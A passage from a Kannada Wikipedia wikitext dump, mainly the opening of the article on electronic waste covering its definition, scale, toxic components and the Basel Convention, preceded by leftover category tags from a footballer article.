ಬ್ರಿಟಿಶ್ ಜನರು]] [[ವರ್ಗ:ಹಾಲ್ ಆಫ್ ಫೇಮ್ ನ ಇಂಗ್ಲಿಷ್ ಫೂಟ್ಬಾಲ್ ತಂಡದವರು]] [[ವರ್ಗ:ಅಸೋಶೇಶನ್ ಫೂಟ್ಬಾಲ್ ವಿಂಗರ್ಸ್]] [[ವರ್ಗ:ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ F.C. ಆಟಗಾರರು]] [[ವರ್ಗ:ಬ್ರಿಟೀಷ್ ಚಕ್ರಾಧಿಪತ್ಯ ವ್ಯವಸ್ಥೆಯ ಅಧಿಕಾರಿಗಳು]] [[ವರ್ಗ:ಕಾರ್ಡಿಫ್ ನ ಜನರು]] [[ವರ್ಗ:ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಸಿಯರಾ ಲೆನೆ ಕ್ರೆಯೊಲ್ ಜನರು]] [[ವರ್ಗ:ದಿ ಫೂಟ್ಬಾಲ್ ಲೀಗ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ವೇಲ್ಸ್ ನ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಫೂಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ವೇಲ್ಸ್ ನ -21ರೊಳಗಿನ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಫೂಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ವೆಲ್ಶ್ ನ ಫೂಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಬ್ಲ್ಯಾಕ್ ಆಫ್ರಿಕನ್ ಜನಾಂಗದ ವೆಲ್ಶ್ ಜನರು]] [[ವರ್ಗ:ಫುಟ್‌ಬಾಲ್]] bz3w0ebl6zg0xhijq9onbz98n3za0u7 ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ (Electronic waste) 0 23256 1116467 1062045 2022-08-23T13:13:38Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{For|the EC directive|Waste Electrical and Electronic Equipment Directive}} [[ಚಿತ್ರ:ewaste-pile.jpg|thumb|ದೋಷವಿರುವ ಮತ್ತು ಬಳಕೆಯಲ್ಲಿಲ್ಲದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳು.]] '''ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ''' , '''ಇ-ತ್ಯಾಜ್ಯ''' , '''ಇ-ಸ್ಕ್ರ್ಯಾಪ್‌''' , ಅಥವಾ '''ನಿರುಪಯುಕ್ತ ವಿದ್ಯುತ್‌ ಮತ್ತು ವಿದ್ಯುನ್ಮಾನ ಸಲಕರಣೆಗಳು''' ಎಂಬ ಪದಗಳು ಹಿಂದಕ್ಕೆ ಹಾಕಿದ, ಮಿಕ್ಕಿದ, ಹಳೆಯ, ಅಥವಾ ಮುರಿದ ವಿದ್ಯುತ್‌ ಮತ್ತು ವಿದ್ಯುನ್ಮಾನ ಸಾಧನಗಳನ್ನು ಸರಲವಾಗಿ ವಿವರಿಸುತ್ತದೆ<ref>https://www.google.co.in/search?q=electronic+waste&oq=electronic+waste&aqs=chrome..69i57j0j69i60l2j0l2.8440j0j7&client=ms-android-lenovo&sourceid=chrome-mobile&ie=UTF-8</ref>. ಅಭಿವೃದ್ಧಿಶೀಲ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಅಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಸಂಸ್ಕರಿಸುವುದರಿಂದ ಗಂಭೀರ ಅರೋಗ್ಯ ಮತ್ತು ಮಲಿನತೆ ಸಮಸ್ಯೆಗಳು ಉಂಟಾಗುತ್ತವೆ ಎಂದು ಪರಿಸರ ಪ್ರೇಮಿ ಸಂಘಗಳು ವಾದಿಸುತ್ತವೆ. ಕೆಲವು ವಿದ್ಯುನ್ಮಾನ ಸ್ಕ್ರ್ಯಾಪ್‌ ಭಾಗಗಳು, ಉದಾಹರಣೆಗೆ ಸಿಆರ್‌ಟಿಗಳು, [[ಸೀಸ]], [[ನೀಲಿ ತವರ]], [[ಬೆರಿಲಿಯಮ್‌]], ಪಾದರಸ, ಮತ್ತು [[ಬ್ರಾಮಿನೇಟೆಡ್‌ ಫ್ಲೇಮ್‌ ರಿಟಾರ್ಡ್ಯಾಂಟ್‌]]ಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ರಾಷ್ಟ್ರಗಳಲ್ಲೂ ಕೂಡ ಇ-ತ್ಯಾಜ್ಯದ ಮರುಬಳಕೆ ಮತ್ತು ಗಳಿಂದ ಕೆಲಸಗಾರರಿಗೆ ಮತ್ತು ಸಮುದಾಯಕ್ಕೆ ಅಪಾಯ ಒದಗುವ ಸಂಭವವಿದ್ದು, ಮರುಬಳಕೆ ಕಾರ್ಯಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಅಸುರಕ್ಷಿತವಾಗಿ ಅವುಗಳಿಗೆ ತೆರೆದುಕೊಳ್ಳುವುದು ಮತ್ತು [[ಕಸದ ರಾಶಿ]]ಗಳು ಮತ್ತು [[ಇನ್ಸಿನೆರೇಟರ್‌]]ಗಳಿಂದ ಭಾರವಾದ ಲೋಹ ಮುಂತಾದ ವಸ್ತುಗಳ ಸೋರಿಕೆಯನ್ನು ತಡೆಯಲು ಹೆಚ್ಚಿನ ನಿಗಾವಹಿಸಬೇಕು. ವಸ್ತುಗಳನ್ನು ಎಚ್ಚರಿಕೆಯಿಂದ ನಿರ್ವಹಿಸಬೇಕೆಂಬುದನ್ನು ಸ್ಕ್ರ್ಯಾಪ್‌ ಉದ್ಯಮ ಮತ್ತು ಯುಎಸ್‌ಎ ಇಪಿಎ‌ ಅಧಿಕಾರಿಗಳು ಒಪ್ಪುತ್ತಾರೆ, ಆದರೆ ಅತಿಯಾದ ನಿಯಮಗಳಿಂದ ಲಾಭ ಹೊಂದುವ ಸಂಸ್ಥೆಗಳು ನಿರುಪಯುಕ್ತ ವಿದ್ಯುನ್ಮಾನ ವಸ್ತುಗಳಿಂದ ಪರಿಸರಕ್ಕೆ ಆಗುವ ಅಪಾಯಗಳನ್ನು ಉತ್ಪ್ರೇಕ್ಷೆ ಮಾಡಿದ್ದಾರೆ ಎನ್ನುತ್ತಾರೆ. == ವ್ಯಾಖ್ಯಾನ == "ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ"ವನ್ನು, ತನ್ನ ಮೂಲ ಮಾಲೀಕರು ಮಾರಿದ, ದಾನಮಾಡಿದ ಅಥವಾ ಬಿಸಾಡಿದ ಎಲ್ಲ ಗೌಣ ಕಂಪ್ಯೂಟರ್‌ಗಳು, ಮನೋರಂಜನ ಸಾಧನ [[ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ಗಳು]], [[ಮೊಬೈಲ್‌ ದೂರವಾಣಿಗಳು]], ಮತ್ತು [[ಟಿವಿ]] ಸೆಟ್‌ಗಳು ಮತ್ತು [[ಫ್ರಿಜ್‌]]ಗಳು ಮುಂತಾದ ಇತರ ವಸ್ತುಗಳು. ಈ ವ್ಯಾಖ್ಯಾನವು ಎರಡನೇ ಬಳಕೆ, ಮರುಮಾರಾಟ, ಅವಶೇಷದ ಬಳಕೆ, ಮರುಬಳಕೆ, ಅಥವಾ ವಿಲೇವಾರಿಗೆ ಯೋಗ್ಯವಾಗಿರುವ ವಿದ್ಯುನ್ಮಾನ ವಸ್ತುಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಇತರ ವ್ಯಾಖ್ಯಾನಗಳು ಎರಡನೇ ಬಳಕೆಗೆ ಯೋಗ್ಯವಾದ, (ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಮತ್ತು ರಿಪೇರಿ ಮಾಡಬಹುದಾದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳು) ಮತ್ತು "ಪದಾರ್ಥ"ಗಳಾಗಬಹುದಾದ ಗೌಣ ಸ್ಕ್ರ್ಯಾಪ್‌ಗಳಾದ ([[ತಾಮ್ರ]], [[ಸ್ಟೀಲ್‌]], [[ಪ್ಲಾಸ್ಟಿಕ್‌]], ಮುಂತಾದುವನ್ನು.) ವ್ಯಾಖ್ಯಾನಿಸುತ್ತವೆ, ಮತ್ತು "ತ್ಯಾಜ್ಯ" ಎಂಬ ಪದವನ್ನು ಎರಡನೇ ಬಳಕೆ ಮತ್ತು ಮರುಬಳಕೆ ಕಾರ್ಯಗಳಿಂದಾದ ಶೇಷಗಳನ್ನೂ ಒಳಗೊಂಡು, ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಅಥವಾ ರಿಪೇರಿ ಮಾಡಬಹುದಾದ ವಸ್ತುಗಳು ಎಂದು ಹೇಳಿದ್ದರೂ ಗ್ರಾಹಕನು ಬಿಸಾಡಿದ ಅಥವಾ ವಿಲೇವಾರಿ ಮಾಡಿದ ಅಥವಾ ಹಿಂದಕ್ಕೆ ತಳ್ಳಿದ ವಸ್ತುಗಳಿಗೆ ಮಾತ್ರ ಉಪಯೋಗಿಸಲಾಗಿದೆ. ಏಕೆಂದರೆ ಸಾಮಾನ್ಯವಾಗಿ ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ರಾಶಿಗಳನ್ನೇ ಸಮ್ಮಿಶ್ರ ಮಾಡಲಾಗುತ್ತದೆ (ಒಳ್ಳೆಯವು, ಮರುಬಳಕೆ ಮಾಡಬಹುದಾದ, ಮತ್ತು ಮರುಬಳಕೆ ಮಾಡಲಾಗದ), ಹಲವು ಸಾರ್ವಜನಿಕ ಕಾರ್ಯನೀತಿ ಪ್ರತಿಪಾದಕರು ’ಇ-ತ್ಯಾಜ್ಯ’ ಎಂಬ ಪದವನ್ನು ಎಲ್ಲ ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳಿಗೆ ಉಪಯೋಗಿಸುತ್ತಾರೆ. [[ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌ ಪರಿಸರ ಸಂರಕ್ಷಣಾ ಸಂಸ್ಥೆ]]ಯು ಹಿಂದಕ್ಕೆ ಹಾಕಿದ ಸಿಆರ್‌ಟಿ ಮಾನಿಟರ್‌ಗಳನ್ನು ಕೂಡ ತನ್ನ "ಅಪಾಯಕಾರಿ ಗೃಹೀಯ ತ್ಯಾಜ್ಯ" ವಿಭಾಗದಲ್ಲಿ ಸೇರಿಸುತ್ತದೆ.<ref name="sb">{{cite news|url=http://www.smartbiz.com/article/articleprint/1525/-1/58|publisher=SmartBiz|title=Tips and Tricks for Recycling Old Computers|author=Morgan, Russell|date=2006-08-21|accessdate=2009-03-17|archive-date=2020-05-06|archive-url=https://web.archive.org/web/20200506203605/http://www.smartbiz.com/article/articleprint/1525/-1/58|url-status=dead}}</ref> ಆದರೆ ಅವುಗಳನ್ನು ಹಿಂದಕ್ಕೆ ಹಾಕದೆ, ಅನುಮಾನಾಸ್ಪದವಾಗಿ ಒಟ್ಟುಮಾಡದೆ ಅಥವಾ ಹವಾಮಾನ ಮತ್ತು ಇತರ ಹಾನಿಗಳಿಂದ ರಕ್ಷಣೆ ಮಾಡದೆ ಬಿಡದಿದ್ದ ಪಕ್ಷದಲ್ಲಿ ಅವುಗಳಿಂದ ’ಪದಾರ್ಥ’ಗಳಾಗಬಹುದೇನೋ ಎಂಬ ಪರೀಕ್ಷೆಗೆ ಪರಿಗಣಿಸುತ್ತದೆ. "ಪದಾರ್ಥ" ಮತ್ತು "ತ್ಯಾಜ್ಯ" ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ವ್ಯಾಖ್ಯಾನಗಳ ನಡುವಿನ ಭೇದಗಳ ಬಗೆಗೆ ಚರ್ಚೆ ಮುಂದುವರೆದಿದೆ. ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಉಪಕರಣಗಳ ರಾಶಿಯಲ್ಲಿ ಸೇರಿಕೊಂಡ ಗುರುತಿಸಲಾಗದ, ಹಳೆಯ ಅಥವಾ ಕೆಲಸ ಮಾಡದ ಉಪಕರಣಗಳನ್ನು ಉದ್ದೇಶಪೂರ್ವಕವಾಗಿ ಕೆಲವು ರಫ್ತುಗಾರರು ಬಿಟ್ಟುಬಿಡುತ್ತಾರೆ (ತಿಳುವಳಿಕೆ ಇಲ್ಲದೇ, ಅಥವಾ ಹೆಚ್ಚು ದುಬಾರಿ ಸಂಸ್ಕರಣಾ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ತಪ್ಪಿಸಲು). ವ್ಯಾಪಾರಿ ಸಂರಕ್ಷಣಕಾರರು (ಪ್ರೊಟೆಕ್ಷನಿಸ್ಟ್ಸ್‌) "ತ್ಯಾಜ್ಯ" ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ವ್ಯಾಖ್ಯಾನವನ್ನು ವಿಸ್ತರಿಸಬಹುದು. ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ ಉಪವಿಭಾಗವಾದ [[ಕಂಪ್ಯೂಟರ್‌ ಮರುಬಳಕೆ]]ಯ ಅತಿಮೌಲ್ಯವು (ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಮತ್ತು ಉಪಯೋಗಿಸಬಹುದಾದ ಲ್ಯಾಪ್‌ಟಾಪ್‌ಗಳು, ಕಂಪ್ಯೂಟರ್‌ಗಳು, ಮತ್ತು [[ರ್ಯಾಮ್‌]]ನಂತಹ ಭಾಗಗಳು) ಅನೇಕ ಅನುಪಯುಕ್ತ "ಪದಾರ್ಥಗಳ" ಸಾಗಾಣಿಕೆ ವೆಚ್ಚವನ್ನು ಕೊಡಲು ಸಹಾಯ ಮಾಡಬಲ್ಲದು. == ಸಮಸ್ಯೆಗಳು == ಕ್ಷಿಪ್ರ ತಂತ್ರಜ್ಞಾನ ಬದಲಾವಣೆ, ಕಡಿಮೆ ಆರಂಭದ ವೆಚ್ಚ, ಮತ್ತು [[ಯೋಜಿತ ಲುಪ್ತವಾಗುವಿಕೆ]] ಇವುಗಳು ಪ್ರಪಂಚದಾದ್ಯಂತ ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವು ಬೆಳೆಯಲು ಕಾರಣವಾಗಿವೆ. [[ಕ್ಯಾಷ್‌ ಫಾರ್‌ ಲ್ಯಾಪ್‌ಟಾಪ್ಸ್‌]]ನ ಪ್ರಧಾನ ಕಾರ್ಯಕಾರೀ ಅಧಿಕಾರಿ ಡೇವ್‌ ಕ್ರೂಷ್‌, ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು "ಕ್ಷಿಪ್ರವಾಗಿ ಬೆಳೆಯುತ್ತಿರುವ" ವಿವಾದಾಂಶ ಎನ್ನುತ್ತಾರೆ.<ref name="tmc"/> ತಾಂತ್ರಿಕ ಪರಿಹಾರಗಳು ಲಭ್ಯವಿದೆ, ಆದರೆ ಬಹುತೇಕ ಸಂದರ್ಭಗಳಲ್ಲಿ ಈ ಪರಿಹಾರಗಳನ್ನು ಉಪಯೋಗಿಸುವ ಮೊದಲು ಕಾನೂನಿನ ಚೌಕ್ಕಟ್ಟು, ಸಂಗ್ರಹಣಾ ವ್ಯವಸ್ಥೆ, ನಿರ್ವಹಣಾ ವ್ಯವಸ್ಥೆ, ಮತ್ತು ಇತರ ಸೇವೆಗಳನ್ನು ಅಳವಡಿಸಿರಬೇಕಾಗುತ್ತದೆ. ಒಂದು ಅಂದಾಜಿನ ಪ್ರಕಾರ ಪ್ರತಿವರ್ಷ ೫೦ ಮಿಲಿಯನ್‌ ಟನ್‌ಗಳಷ್ಟು ಇ-ತ್ಯಾಜ್ಯ ಉತ್ಪಾದನೆಯಾಗುತ್ತದೆ. ಯುಎಸ್‌ಎ ಪ್ರತಿವರ್ಷ ೩೦ ಮಿಲಿಯನ್‌ ಕಂಪ್ಯೂಟರ್‌ಗಳನ್ನು ಹಿಂದಕ್ಕೆ ಹಾಕುತ್ತದೆ ಮತ್ತು ೧೦೦ ಮಿಲಿಯನ್‌ ಫೋನ್‌ಗಳನ್ನು ಬಿಸಾಡುತ್ತದೆ.<ref>https://www.google.co.in/search?q=increase+in+electronic+waste&oq=increase+in+electronic&aqs=chrome.2.69i57j0l3.12086j0j7&client=ms-android-lenovo&sourceid=chrome-mobile&ie=UTF-8</ref> ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ, ಕಸದರಾಶಿಯಲ್ಲಿರುವ ಬೇಡದವಸ್ತುಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳು ಕೇವಲ ೨%<ref name="iWaste">{{cite news|last=Slade|first=Giles|title=iWaste|publisher=Mother Jones|date=2007-04-01|url=https://www.motherjones.com/commentary/columns/2007/03/iwaste.html|accessdate=2007-04-03}}</ref>, ಆದರೆ ಕಸದ ರಾಶಿಯಲ್ಲಿರುವ ಅಂದಾಜು ೭೦% ಭಾರದ ಲೋಹಗಳು ಹಿಂದಕ್ಕೆ ಹಾಕಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಳಿಂದ ಬರುತ್ತದೆ<ref>{{cite web|url=http://www.svtc.org/site/DocServer/ppcttv2004.pdf?docID=301|title=Poison PCs/Toxic TVs Executive Summary|author=Silicon Valley Toxic Corporation|accessdate=2006-11-13|archiveurl=https://web.archive.org/web/20100707004243/http://www.svtc.org/site/DocServer/ppcttv2004.pdf?docID=301|archivedate=2010-07-07}}</ref>. ೨೦೦೫ರಲ್ಲಿ ಬೇಡದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ಒಟ್ಟು ತೂಕ ೨ ಮಿಲಿಯನ್‌ ಟನ್‌ ಇತ್ತು ಎನ್ನುತ್ತದೆ ಇಪಿಎ. ಹಿಂದಕ್ಕೆ ಹಾಕಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ತೂಕ, ಮರುಬಳಕೆ ಮಾಡಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ತೂಕಕ್ಕಿಂತ ೫ರಿಂದ ೬ ಪಟ್ಟು ಹೆಚ್ಚು ಇರುತ್ತದೆ.<ref name="tmc">{{cite news|url=http://green.tmcnet.com/topics/green/articles/37567-cash-laptops-offers-green-solution-broken-outdated-computers.htm|date=2008-08-20|work=Green Technology|title=Cash For Laptops Offers 'Green' Solution for Broken or Outdated Computers|author=Prashant, Nitya|publisher=[[Technology Marketing Corporation]]|location=[[Norwalk, Connecticut]]|accessdate=2009-03-17}} ಇನ್ {{cite news|url=http://www.electronicsrecycling.org/public/NewsletterViewer.aspx?message=sent&id=40|work=National Center For Electronics Recycling News Summary|publisher=National Center For Electronics Recycling|date=2008-08-28|accessdate=2009-03-17|title=Opinion|archive-date=2011-07-26|archive-url=https://web.archive.org/web/20110726022111/http://www.electronicsrecycling.org/public/NewsletterViewer.aspx?message=sent&id=40|url-status=dead}}</ref> ಯುಎಸ್‌ನ ಕುಟುಂಬಗಳು ಪ್ರತಿವರ್ಷ, ಸರಾಸರಿ ೨೪ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ಮೇಲೆ $೧,೪೦೦ ಖರ್ಚು ಮಾಡುತ್ತದೆ, ಇದರಿಂದ ಮಿಲಿಯನ್‌ಗಟ್ಟಲೆ ಟನ್‌ಗಳಷ್ಟು ಬೆಲೆಬಾಳುವ ಲೋಹಗಳು ಟೇಬಲ್‌ ಡ್ರಾಯರ್‌ಗಳಲ್ಲಿ ಕೂತಿರುವ ಸಾಧ್ಯತೆ ಇದೆ ಎಂದು [[ಕನ್ಸ್ಯೂಮರ್‌ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಅಸೋಸಿಯೇಷನ್‌]] ಹೇಳುತ್ತದೆ.<ref name="cnet">{{cite news|url=http://news.cnet.com/8301-11128_3-10000482-54.html|publisher=[[CNET News]]|work=Green Tech|date=2008-07-28|title=Got a gadget gathering dust?|author=LaMonica, Martin|accessdate=2008-03-05|archive-date=2008-09-05|archive-url=https://web.archive.org/web/20080905022508/http://news.cnet.com/8301-11128_3-10000482-54.html|url-status=dead}}</ref><ref name="boston">{{cite web|url=http://www.boston.com/business/technology/articles/2008/10/30/scrounge_up_cash_with_used_gadgets/|author=Bray, Hiawatha|publisher=Globe Newspaper Company|work=[[Boston Globe]]|title=Scrounge up cash with used gadgets|date=2008-10-30|accessdate=2009-03-05}}</ref> ಈವರೆಗೆ ಬಿಕರಿಯಾಗಿರುವ ಎಲ್ಲ ವಯಕ್ತಿಕ ಕಂಪ್ಯೂಟರ್‌ಗಳಲ್ಲಿ ಈಗ ೭೫% ಕಂಪ್ಯೂಟರ್‌ಗಳು ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳಾಗಿ ಧೂಳು ಹಿಡಿಯುತ್ತಾ ಕೂತಿವೆ ಎಂದು ಯುಎಸ್‌ ರಾಷ್ಟ್ರೀಯ ಸುರಕ್ಷತಾ ಮಂಡಲಿಯು ಅಂದಾಜು ಮಾಡಿದೆ.<ref name="to">{{cite news|url=http://technology.timesonline.co.uk/tol/news/tech_and_web/personal_tech/article4538181.ece|title=E-mail from America: Buy-back gadgets|author=Harris, Mark|location=[[Seattle, Washington]]|work=[[Sunday Times]]|date=2008-08-17|accessdate=2009-03-10}}</ref> ಕೆಲವರು ಮರುಬಳಕೆ ಮಾಡಿದರೂ, ೭%ರಷ್ಟು ಮೊಬೈಲ್‌ಫೋನ್‌ ಮಾಲೀಕರು ತಮ್ಮ ಹಳೆಯ ಮೊಬೈಲ್‌ ಫೋನ್‌ಗಳನ್ನು ಬಿಸಾಡುತ್ತಾರೆ.<ref name="usn">{{cite web|url=http://www.usnews.com/blogs/fresh-greens/2008/7/30/4-ways-to-earn-cash-for-recycling.html|title=4 Ways to Earn Cash for Recycling|publisher=[[U.S. News and World Report]]|work=Fresh Greens|date=2008-07-30|author=Judkis, Maura|accessdate=2008-03-05}}</ref> ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳು ಬೆಲೆಗಳಲ್ಲಿ ಅತ್ಯಧಿಕ ವ್ಯತ್ಯಾಸ ಹೊಂದಿರುತ್ತದೆ. ಒಂದು ರಿಪೇರಿ ಮಾಡಬಹುದಾದ ಲ್ಯಾಪ್‌ಟಾಪ್‌ ನೂರಾರು ಡಾಲರ್‌ಗಳಷ್ಟು ಬೆಲೆ ಬಾಳಬಹುದು, ಆದರೆ ಒಂದು ಒಳಸ್ಫೋಟಗೊಂಡ [[ಕ್ಯಾತೋಡ್‌ ರೇ ಟ್ಯೂಬ್‌]]ಅನ್ನು ಮರುಬಳಕೆ ಮಾಡುವುದು ಅತಿಕಷ್ಟ. ಇದು ಕಷ್ಟಕರವಾದ ಮುಕ್ತ-ಮಾರುಕಟ್ಟೆ ಅರ್ಥವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸಿದೆ. ದೊಡ್ಡ ಪ್ರಮಾಣದ ಬಳಸಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಅತಿ ಹೆಚ್ಚು ರಿಪೇರಿ ಮಾಡುವ ಶಕ್ತಿ ಇರುವ ಮತ್ತು ಹೆಚ್ಚು ಕಚ್ಚಾ ವಸ್ತುಗಳ ಬೇಡಿಕೆಯಿರುವ ದೇಶಗಳಿಗೆ ಮಾರಾಟ ಮಾಡಲಾಗುತ್ತದೆ, ಇದರಿಂದ ದೃಢವಾದ ಪರಿಸರ ಕಾನೂನು ಇಲ್ಲದ ಬಡ ಪ್ರದೇಶಗಳಲ್ಲಿ ಉಳಿಕೆಗಳು ಶೇಖರಣೆಯಾಗುವ ಸಂಭವ ಇರುತ್ತದೆ.<ref name="harm">{{cite news|title=Exporting Harm: The High-Tech Trashing of Asia|location=Seattle and San Jose|author=Basel Action Network and Silicon Valley Toxics Coalition|date=2002-02-25|url=http://www.ban.org/E-waste/technotrashfinalcomp.pdf|format=PDF|access-date=2010-05-06|archive-date=2008-03-09|archive-url=https://web.archive.org/web/20080309044103/http://www.ban.org/E-waste/technotrashfinalcomp.pdf|url-status=dead}}</ref> [[ಬಾಸೆಲ್‌ ಕನ್‌ವೆನ್‌ಷನ್‌]] ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ ವ್ಯಾಪಾರವನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ. ಅಪಾಯಕಾರಿಯಾದ ಬಳಕೆಯಾದ ವಿದ್ಯುನ್ಮಾನ ಸಾಧನವನ್ನು ರಿಪೇರಿಗೆ ಅಥವಾ ಮರುಬಳಕೆಗಾಗಿ ರಫ್ತು ಮಾಡಿದವುಗಳನ್ನು ಅವುಗಳನ್ನು ತ್ಯಜಿಸದಿದ್ದರೆ ಬಾಸೆಲ್ ಕನ್ವೆನ್ಶನ್ ಅಪಾಯಕಾರಿ ತ್ಯಾಜ್ಯಗಳು ಎಂದು ಕರೆಯಲಾಗುವುದಿಲ್ಲವೇ ಎಂಬ ಪ್ರಶ್ನೆಯನ್ನು ಬಾಸೆಲ್ ಕನ್ವೆನ್ಶನ್ ಪಕ್ಷಗಳು ಪರಿಗಣಿಸಿವೆ. ವಸ್ತುಗಳನ್ನು ಬಿಸಾಡದೆ ರಿಪೇರಿ ಮಾಡಲಾಗುತ್ತದೆ ಎಂಬುದಕ್ಕೆ ಸಾಕ್ಷಿ ರಫ್ತುಗಾರನೇ ಆಗಿರುತ್ತಾನೆ, ಮತ್ತು ಅಂತಿಮವಾಗಿ ಯಾವುದೇ ಕೆಲಸ ಮಾಡದ ಭಾಗಗಳನ್ನು ಬಿಸಾಡುವುದು ಕನ್‌ವೆನ್‌ಷನ್‌ ನಿಯಂತ್ರಣಕ್ಕೆ ಒಳಪಟ್ಟಿರುತ್ತದೆ. ಆ ವಿಷಯದ ಮೇಲೆ ಮಾಡಿರುವ ಮಾರ್ಗದರ್ಶಿಯಲ್ಲಿ ಈ ಪ್ರಶ್ನೆಯನ್ನು ಕಕ್ಷಿಗಳಿಗೇ ಬಿಡಲಾಗಿದೆ.<ref>[https://web.archive.org/web/20071020133241/http://www.basel.int/industry/mppiwp/guid-info/guidTBM.pdf ಬಾಸೆಲ್.ಇನ್]</ref> ವಿರ್ಜಿನ್‌ ವಸ್ತು ಗಣಿಗಾರಿಕೆ ಮತ್ತು ಸಂಗ್ರಹಣೆಯಂತೆ, ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದಿಂದ ವಸ್ತುಗಳ ಮರುಬಳಕೆ ಮಾಡುವುದು, ಅದರ ಕೆಲವು ವಸ್ತುಗಳ ಮತ್ತು ಪ್ರಕ್ರಿಯೆಗಳ [[ವಿಷಮತೆ]] ಮತ್ತು [[ಕ್ಯಾನ್ಸರ್‌ಕಾರಕ]] ಗುಣದ ಬಗೆಗೆ ಶಂಕೆ ಎದ್ದಿದೆ. ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದಲ್ಲಿನ ವಿಷವಸ್ತುಗಳು [[ಸೀಸ]], [[ಪಾದರಸ]], ಮತ್ತು [[ನೀಲಿತವರ]]ವನ್ನು ಒಳಗೊಂಡಿರಬಹುದು. ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದಲ್ಲಿನ ಕ್ಯಾನ್ಸರ್‌ಕಾರಕ ವಸ್ತುಗಳು [[ಪಾಲಿಕ್ಲೋರಿನೇಟೆಡ್‌ ಬೈಫಿನಾಯಿಲ್‌]](ಪಿಸಿಬಿ)ಗಳನ್ನು ಒಳಗೊಂಡಿರಬಹುದು. ೧೯೭೭ಕ್ಕಿಂತ ಮೊದಲು ಉತ್ಪಾದಿಸಲಾದ [[ಪಾಲಿವಿನೇಲ್‌ ಕ್ಲೋರೈಡ್‌]]ನಿಂದ ಮುಚ್ಚಲಾದ ಕೆಪ್ಯಾಸಿಟರ್‌ಗಳು, ಟ್ರಾನ್ಸ್‌ಫಾರ್ಮ್‌ಗಳು, ಮತ್ತು ತಂತಿಗಳು ಅಥವಾ ಚಿಲಖತ್ತು ಮಾಡಿದ ಭಾಗಗಳು, ಅನೇಕವೇಳೆ ಪಿಸಿಬಿಗಳನ್ನು ಅಪಾಯಕಾರಿ ಮೊತ್ತದಲ್ಲಿ ಹೊಂದಿರುತ್ತದೆ.<ref>{{cite book|title=Health Concerns and Environmental Issues with PVC-Containing Building Materials in Green Buildings|author=Kaley, Karlyn Black; Carlisle, Jim; Siegel, David; Salinas, Julio|publisher=Integrated Waste Management Board, California Environmental Protection Agency|month=October|year=2006|format=PDF|url=http://www.ciwmb.ca.gov/publications/GreenBuilding/43106016.pdf|accessdate=2007-08-03|page=11|archiveurl=https://web.archive.org/web/20070927162053/http://www.ciwmb.ca.gov/publications/GreenBuilding/43106016.pdf|archivedate=2007-09-27}}</ref> ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ವಸ್ತುಗಳಿಗೆ ೩೮ರಷ್ಟು [[ರಾಸಾಯನಿಕ ವಸ್ತು]]ಗಳನ್ನು ಸಂಯೋಜಿಸಲಾಗಿದೆ. 